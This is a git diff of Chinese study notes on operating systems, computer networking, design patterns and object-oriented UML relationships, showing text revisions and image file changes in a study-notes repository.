@ -564,7 +564,7 @@ Linux 中管道通过空文件实现。
1. 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
2. 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显地释放。
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显地释放。
4. 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
## 死锁的处理方法

View File

@ -2,7 +2,6 @@
* [一、概述](#一概述)
* [网络的网络](#网络的网络)
* [ISP](#isp)
* [互联网的组成](#互联网的组成)
* [主机之间的通信方式](#主机之间的通信方式)
* [电路交换与分组交换](#电路交换与分组交换)
* [时延](#时延)
@ -30,6 +29,7 @@
* [路由选择协议](#路由选择协议)
* [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
* [分组网间探测 PING](#分组网间探测-ping)
* [Traceroute](#traceroute)
* [虚拟专用网 VPN](#虚拟专用网-vpn)
* [网络地址转换 NAT](#网络地址转换-nat)
* [五、运输层*](#五运输层)
@ -61,25 +61,20 @@
网络把主机连接起来,而互联网是把多种不同的网络连接起来,因此互联网是网络的网络。
<div align="center"> <img src="../pics//77f81379-3987-4036-8d7c-93a4dcf7b05d.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//network-of-networks.gif"/> </div><br>
## ISP
互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址,同时拥有通信线路以及路由器等联网设备,个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
<div align="center"> <img src="../pics//46cec213-3048-4a80-aded-fdd577542801.jpg"/> </div><br>
目前的互联网是一种多层次 ISP 结构ISP 根据覆盖面积的大小分为主干 ISP、地区 ISP 和本地 ISP。
互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
<div align="center"> <img src="../pics//02986f62-c641-44a8-a55f-983581490e0c.png" width="700"/> </div><br>
<div align="center"> <img src="../pics//Technology-ComputerNetworking-Internet-ISPs.png"/> </div><br>
## 互联网的组成
1. 边缘部分:所有连接在互联网上的主机,用户可以直接使用;
2. 核心部分:由大量的网络和连接这些网络的路由器组成,为边缘部分的主机提供服务。
<div align="center"> <img src="../pics//10f5e35b-1c71-4717-9e80-47f259702642.jpg" width="600"/> </div><br>
## 主机之间的通信方式
@ -87,9 +82,13 @@
2. 对等P2P不区分客户和服务器。
<div align="center"> <img src="../pics//2ad244f5-939c-49fa-9385-69bc688677ab.jpg"/> </div><br>
## 电路交换与分组交换
<div align="center"> <img src="../pics//d1f81ac3-9fdb-4371-a49d-ca84917aa89f.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//5e8d3c04-d93b-48a7-875e-41ababed00e0.jpg"/> </div><br>
(以上分别为:电路交换、报文交换以及分组交换)
### 1. 电路交换
@ -103,8 +102,6 @@
分组交换也使用了存储转发,但是转发的是分组而不是报文。把整块数据称为一个报文,由于一个报文可能很长,需要先进行切分,来满足分组能处理的大小。在每个切分的数据前面加上首部之后就成为了分组,首部包含了目的地址和源地址等控制信息。
<div align="center"> <img src="../pics//94589319-975f-490b-8bae-90b3a4953559.png" width="600"/> </div><br>
存储转发允许在一条传输线路上传送多个主机的分组,也就是说两个用户之间的通信不需要占用端到端的线路资源。
相比于报文交换,由于分组比报文更小,因此分组交换的存储转发速度更加快速。
@ -224,7 +221,7 @@ TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
为了方便,取 m=8设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
为了讨论方便,取 m=8设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1),可以得到
@ -259,7 +256,7 @@ TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中
透明表示一个实际存在的事物看起来好像不存在一样。
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
<div align="center"> <img src="../pics//c5022dd3-be22-4250-b9f6-38ae984a04d7.jpg" width="600"/> </div><br>
@ -537,13 +534,14 @@ PING 是 ICMP 的一个重要应用,主要用来测试两台主机之间的连
Ping 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报。
Ping 的过程:
## Traceroute
1. 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1但 P1 到达路径上的第一个路由器 R1 时R1 收下它并把 TTL 减 1此时 TTL 等于 0R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
2. 源主机接着发送第二个数据报 P2并把 TTL 设置为 2。P2 先到达 R1R1 收下后把 TTl 减 1 再转发给 R2R2 收下后也把 TTL 减 1由于此时 TTL 等于 0R2 就丢弃 P2并向源主机发送一个 ICMP 时间超过差错报文。
3. 不断执行这样的步骤,知道最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
4. 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
Traceroute 是 ICMP 的另一个应用,用来跟踪一个分组从源点到终点的路径。
1. 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1但 P1 到达路径上的第一个路由器 R1 时R1 收下它并把 TTL 减 1此时 TTL 等于 0R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
2. 源主机接着发送第二个数据报 P2并把 TTL 设置为 2。P2 先到达 R1R1 收下后把 TTL 减 1 再转发给 R2R2 收下后也把 TTL 减 1由于此时 TTL 等于 0R2 就丢弃 P2并向源主机发送一个 ICMP 时间超过差错报文。
3. 不断执行这样的步骤,直到最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
4. 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
## 虚拟专用网 VPN
@ -557,7 +555,7 @@ Ping 的过程:
VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信;虚拟指“好像是”,而实际上并不是,它有经过公用的互联网。
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
<div align="center"> <img src="../pics//1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
@ -621,7 +619,7 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
**三次握手的原因**
为了防止失效的连接请求到达服务器,让服务器错误打开连接。
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
失效的连接请求是指,客户端发送的连接请求在网络中滞留,客户端因为没及时收到服务器端发送的连接确认,因此就重新发送了连接请求。滞留的连接请求并不是丢失,之后还是会到达服务器。如果不进行第三次握手,那么服务器会误认为客户端重新请求连接,然后打开了连接。但是并不是客户端真正打开这个连接,因此客户端不会给服务器发送数据,这个连接就白白浪费了。
@ -631,11 +629,11 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK因为 ACK 在连接建立之后都为 1。
1. A 发送连接释放报文段FIN=1
1. A 发送连接释放报文段FIN=1
2. B 收到之后发出确认,此时 TCP 属于半关闭状态B 能向 A 发送数据但是 A 不能向 B 发送数据
2. B 收到之后发出确认,此时 TCP 属于半关闭状态B 能向 A 发送数据但是 A 不能向 B 发送数据
3. 当 B 要不再需要连接时发送连接释放请求报文段FIN=1
3. 当 B 要不再需要连接时发送连接释放请求报文段FIN=1
4. A 收到后发出确认,进入 TIME-WAIT 状态,等待 2MSL 时间后释放连接。
@ -689,7 +687,7 @@ TCP 使用超时重传来实现可靠传输:如果一个已经发送的报文
<div align="center"> <img src="../pics//51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。发送方需要维护一个叫做拥塞窗口cwnd的状态变量。注意拥塞窗口与发送方窗口的区别拥塞窗口只是一个状态变量实际决定发送方能发送多少数据的是发送方窗口。
TCP 主要通过四种算法来进行拥塞控制慢开始、拥塞避免、快重传、快恢复。发送方需要维护一个叫做拥塞窗口cwnd的状态变量。注意拥塞窗口与发送方窗口的区别拥塞窗口只是一个状态变量实际决定发送方能发送多少数据的是发送方窗口。
为了便于讨论,做如下假设:
@ -755,6 +753,10 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
<div align="center"> <img src="../pics//e6723b94-1a33-4605-b775-f6813352d383.png" width="800"/> </div><br>
### 3. 使用的运输层协议
DNS 在解析的过程使用 UDP 进行传输,因为 UDP 最大只支持 512 字节的数据,如果超过的话就需要使用 TCP 传输。
## 文件传输协议 FTP
FTP 在运输层使用 TCP并且需要建立两个并行的 TCP 连接:控制连接和数据连接。控制连接在整个会话期间一直保持打开,而数据连接在数据传送完毕之后就关闭。控制连接使用端口号 21数据连接使用端口号 20。
@ -871,18 +873,25 @@ P2P 是一个分布式系统,任何时候都有对等方加入或者退出。
## 常用端口
| 应用层协议 | 端口号 | 运输层协议 |
| -- | -- | -- |
| DNS | 53 | UDP |
| FTP | 控制连接 21数据连接 20 | TCP |
| TELNET | 23 | TCP |
| DHCP | 67 68 | UDP |
| HTTP | 80 | TCP |
| SMTP | 25 | TCP |
| POP3 | 110 | TCP |
| IMAP | 143 | TCP |
|应用| 应用层协议 | 端口号 | 运输层协议 | 备注 |
| :---: | :--: | :--: | :--: | :--:
| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
| 动态主机配置协议 | DHCP | 67/68 | UDP | |
| 简单网络管理协议 | SNMP | 161/162 | UDP | |
| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21数据连接 20
| 远程终端协议 | TELNET | 23 | TCP | |
|超文本传送协议 | HTTP | 80 | TCP | |
| 简单邮件传送协议 | SMTP | 25 | TCP | |
| 邮件读取协议 | POP3 | 110 | TCP | |
| 网际报文存取协议 | IMAP | 143 | TCP | |
# 参考资料
- 计算机网络, 谢希仁
- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)

View File

@ -1,25 +1,20 @@
<!-- GFM-TOC -->
* [一、前言](#一前言)
* [二、设计模式概念](#二设计模式概念)
* [三、单例模式](#三单例模式)
* [四、简单工厂](#四简单工厂)
* [五、工厂方法模式](#五工厂方法模式)
* [六、抽象工厂模式](#六抽象工厂模式)
* [一、概述](#一概述)
* [二、单例模式](#二单例模式)
* [三、简单工厂](#三简单工厂)
* [四、工厂方法模式](#四工厂方法模式)
* [五、抽象工厂模式](#五抽象工厂模式)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、前言
文中涉及一些 UML 类图,为了更好地理解,可以先阅读 [UML 类图](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1%E6%80%9D%E6%83%B3.md#%E7%AC%AC%E4%B8%89%E7%AB%A0-uml)。
# 二、设计模式概念
# 一、概述
设计模式不是代码,而是解决问题的方案,学习现有的设计模式可以做到经验复用。
拥有设计模式词汇,在沟通时就能用更少的词汇来讨论,并且不需要了解底层细节。
# 、单例模式
# 、单例模式
## 意图
@ -131,7 +126,19 @@ if (uniqueInstance == null) {
}
```
# 四、简单工厂
uniqueInstance 采用 volatile 关键字修饰也是很有必要的。
uniqueInstance = new Singleton(); 这段代码其实是分为三步执行。
1. 分配内存空间。
2. 初始化对象。
3. 将 uniqueInstance 指向分配的内存地址。
但是由于 JVM 具有指令重排的特性,有可能执行顺序变为了 1>3>2这在单线程情况下自然是没有问题。但如果是多线程就有可能 B 线程获得是一个还没有被初始化的对象以致于程序出错。
所以使用 volatile 修饰的目的是禁止 JVM 的指令重排,保证在多线程环境下也能正常运行。
# 三、简单工厂
## 意图
@ -171,17 +178,17 @@ public interface Product {
```
```java
public class ConcreteProduct implements Product{
public class ConcreteProduct implements Product {
}
```
```java
public class ConcreteProduct1 implements Product{
public class ConcreteProduct1 implements Product {
}
```
```java
public class ConcreteProduct2 implements Product{
public class ConcreteProduct2 implements Product {
}
```
@ -207,8 +214,7 @@ public class Client {
}
```
# 五、工厂方法模式
# 四、工厂方法模式
## 意图
@ -243,7 +249,7 @@ public class ConcreteFactory extends Factory {
```
```java
public class ConcreteFactory1 extends Factory{
public class ConcreteFactory1 extends Factory {
public Product factoryMethod() {
return new ConcreteProduct1();
}
@ -258,7 +264,7 @@ public class ConcreteFactory2 extends Factory {
}
```
# 、抽象工厂模式
# 、抽象工厂模式
## 意图
@ -266,17 +272,16 @@ public class ConcreteFactory2 extends Factory {
## 类图
<div align="center"> <img src="../pics//5f96e565-0693-47df-80f1-29e4271057b7.png"/> </div><br>
<div align="center"> <img src="../pics//14cfe8d4-e31b-49e0-ac6a-6f4f7aa06ab6.png"/> </div><br>
抽象工厂模式创建的是对象家族,也就是很多对象而不是一个对象,并且这些对象是相关的,也就是说必须一起创建出来。而工厂模式只是用于创建一个对象,这和抽象工厂模式有很大不同。
抽象工厂模式用到了工厂模式来创建单一对象,在类图左部,AbstractFactory 中的 createProductA 和 createProductB 方法都是让子类来实现,这两个方法单独来看就是在创建一个对象,这符合工厂模式的定义。
抽象工厂模式用到了工厂模式来创建单一对象AbstractFactory 中的 createProductA 和 createProductB 方法都是让子类来实现,这两个方法单独来看就是在创建一个对象,这符合工厂模式的定义。
至于创建对象的家族这一概念是在 Client 体现Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象在这里这两个对象就有很大的相关性Client 需要同时创建出这两个对象。
从高层次来看,抽象工厂使用了组合,即 Cilent 组合了 AbstractFactory而工厂模式使用了继承。
## 代码实现
```java
@ -300,12 +305,12 @@ public class ProductA2 extends AbstractProductA {
```
```java
public class ProductB1 extends AbstractProductB{
public class ProductB1 extends AbstractProductB {
}
```
```java
public class ProductB2 extends AbstractProductB{
public class ProductB2 extends AbstractProductB {
}
```
@ -317,7 +322,7 @@ public abstract class AbstractFactory {
```
```java
public class ConcreteFactory1 extends AbstractFactory{
public class ConcreteFactory1 extends AbstractFactory {
AbstractProductA createProductA() {
return new ProductA1();
}

View File

@ -21,8 +21,6 @@
## S.O.L.I.D
| 简写 | 全拼 | 中文翻译 |
| :--: | :--: | :--: |
| SRP | The Single Responsibility Principle | 单一责任原则 |
@ -111,11 +109,13 @@
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
封装有三大好处
优点
1. 减少耦合
2. 隐藏内部细节,因此内部结构可以自由修改
3. 可以对成员进行更精确的控制
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
- 提高软件的可重用性
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
@ -206,31 +206,31 @@ public class Music {
用来描述继承关系,在 Java 中使用 extends 关键字。
<div align="center"> <img src="../pics//b418ca51-f005-4510-b7ad-f092eb6aeb24.png"/> </div><br>
<div align="center"> <img src="../pics//5341d726-ffde-4d2a-a000-46597bcc9c5a.png"/> </div><br>
## 实现关系 (Realization)
用来实现一个接口,在 Java 中使用 implement 关键字。
<div align="center"> <img src="../pics//27cd6f0c-f581-45da-b8c9-fed026830560.png"/> </div><br>
<div align="center"> <img src="../pics//123bdf81-1ef5-48a9-a08c-2db97057b4d2.png"/> </div><br>
## 聚合关系 (Aggregation)
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
<div align="center"> <img src="../pics//aa42f9c6-ad7a-48f4-8e8b-f3b6de3feaec.png"/> </div><br>
<div align="center"> <img src="../pics//1be8b4b0-cc7a-44d7-9c77-85be37b76f7d.png"/> </div><br>
## 组合关系 (Composition)
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
<div align="center"> <img src="../pics//0e34263d-7287-4ffe-a716-37c53d1a2526.png"/> </div><br>
<div align="center"> <img src="../pics//eb4a7007-d437-4740-865d-672973effe25.png"/> </div><br>
## 关联关系 (Association)
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系一个学校可以有很多学生但是一个学生只属于一个学校因此这是一种多对一的关系在运行开始之前就可以确定。
<div align="center"> <img src="../pics//2017511e-22f0-4d74-873d-1261b71cf5a4.png"/> </div><br>
<div align="center"> <img src="../pics//518f16f2-a9f7-499a-98e1-f1dbb37b5a9a.png"/> </div><br>
## 依赖关系 (Dependency)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

BIN
pics/2018040302.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 87 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
pics/CountdownLatch.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

BIN
pics/CyclicBarrier.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

BIN
pics/PPjwP.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 363 KiB

BIN
pics/Semaphore.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 553 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 64 KiB

Some files were not shown because too many files have changed in this diff Show More